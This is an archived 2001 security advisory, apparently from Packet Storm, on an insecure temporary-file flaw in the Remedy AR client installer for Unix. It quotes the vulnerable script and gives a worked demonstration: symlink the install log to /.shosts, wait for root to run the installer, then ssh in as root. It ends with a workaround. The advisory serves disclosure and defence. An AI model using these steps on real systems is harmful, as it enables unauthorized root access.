exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

remedy.txt

remedy.txt
Posted Aug 16, 2001
Authored by Echo8

Security Holes in Remedy Client Installer - Due to improper handling of temporary files, the installer program for Remedy Software's Action Request System client for unix can allow local users to gain root privileges. Tested on Solaris 2.6 and 8, using the installer for AR 4.5.1. Other platforms are likely vulnerable as well.

tags | exploit, local, root
systems | unix, solaris
SHA-256 | c95b5fdfab0923436993b9af56b0a4a3494ae9311cfd445be9ca1fe847a44131

remedy.txt

Change Mirror Download
    Security Holes in Remedy Client Installer

Summary
-------

Due to improper handling of temporary files, the installer program for
Remedy Software's Action Request System client for unix can allow local
users to gain root privileges.

Details
-------

The installer script for the unix AR clients (ar_install) uses files with
predicatable names in world-writeable locations to store temporary files
and logging information. The code does not check to see if the files exist
before writing to them, or if the files are symbolic links to something
else. A local user can exploit this (by symbolically linking the target
files to something else ahead of time) to create or overwrite files
anywhere on the system. If the AR client is installed as root, this type
of attack can be used by unprivileged users to gain root access under the
right circumstances (eg. a local user knows that the AR client will be
installed on a system in the near future).

There are several instances of this problem in ar_install. A few examples:

# Name of the file to record a log of the installation into
#
LOGFILE="/usr/tmp/arClient_install.log"

...

############################################
# lecho - Logged echo to stdout
# Arg 0 to N = Data to be echoed
############################################
lecho()
{
echo "$@" >> $LOGFILE
echo "$@"
}

The lecho function is then frequently used to write logging data to
$LOGFILE.

Another example:

#
# Test if "ex -" has any problem on this machine. If there is, use "ex"
#
echo "$PROD" > /tmp/ex.test
ex - /tmp/ex.test << EOF
/$PROD/
s/$PROD/$PROD_LONG/
w!
q
EOF
RET=$?
RES=`cat /tmp/ex.test`
if [ \( $RET -eq 0 \) -a \( "$RES" = "$PROD_LONG" \) ]
then
EX="ex -"
else
EX="ex"
fi

Demonstration
-------------

$ hostname
brokenhost
$ id
uid=5000(foo) gid=20(users)
$ ln -s /.shosts /var/tmp/arClient_install.log
$ ls -alt /var/tmp/arClient_install.log
lrwxrwxrwx 1 foo users 8 Apr 12 14:57
/var/tmp/arClient_install.log -> /.shosts

...wait for root to run ar_install...

$ ls -alt /.shosts
-rw-rw-rw- 1 root other 50873 Apr 12 14:58 /.shosts
$ cat > /.shosts
brokenhost foo
^D
$ ssh -l root brokenhost
Last login: Thu Apr 12 14:50:30 from someotherhost
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
brokenhost # id
uid=0(root) gid=1(other)
brokenhost #

Vulnerable Versions
-------------------

I have tested this on Solaris 2.6 and 8, using the installer for AR 4.5.1.

The installers for the other supported unix versions (Irix, AIX, HP/UX and
NCR System 3000) contain similar issues, so it's likely that they are
vulnerable as well. The older versions of AR that are available for some
platforms (3.2.1) use a different install script. That script uses
different filenames, but appears to have similar flaws.

Workaround
----------

If the AR client is being installed on a single-user workstation, it can
be installed as a non-root user (this is not the default, but the
documentation explains how to do it).

If the AR client must be installed as root, ar_install can be trivially
modified to avoid using a world-readable/writeable space to store its
temporary files.

Vendor Notification
-------------------

The vendor was notified on 4/13/2001.


Copyright 4/12/2001, by echo8
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close